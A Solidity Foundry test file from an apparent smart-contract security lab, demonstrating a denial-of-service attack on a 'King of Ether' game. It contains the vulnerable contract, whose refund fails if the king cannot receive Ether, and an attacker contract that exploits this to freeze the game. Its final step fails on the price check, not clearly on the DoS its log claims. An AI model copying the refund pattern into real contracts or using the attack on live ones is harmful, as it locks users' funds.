DOS.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import "forge-std/Test.sol";

contract ContractTest is Test {
        KingOfEther KingOfEtherContract;
        Attack AttackerContract;
function setUp() public { 

        KingOfEtherContract = new KingOfEther();
        AttackerContract = new Attack(KingOfEtherContract);
    }

function testDOS() public {

    address alice = vm.addr(1);
    address bob = vm.addr(2);
    vm.deal(address(alice), 1 ether);  
    vm.deal(address(bob), 2 ether); 
    vm.prank(alice);
    KingOfEtherContract.claimThrone{value: 1 ether}() ;
    vm.prank(bob);
    KingOfEtherContract.claimThrone{value: 2 ether}() ;
    console.log("Return 1 ETH to Alice, Alice of balance", address(alice).balance);
    AttackerContract.attack{value: 3 ether}();

    console.log("Balance of KingOfEtherContract", KingOfEtherContract.balance());
    console.log("Attack completed, Alice claimthrone again, she will fail");
    vm.prank(alice);
    KingOfEtherContract.claimThrone{value: 1 ether}() ;
  
    }
    receive() payable external{}
}


contract KingOfEther {
    address public king;
    uint public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
}

contract Attack {
    KingOfEther kingOfEther;

    constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }

    function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
    }
}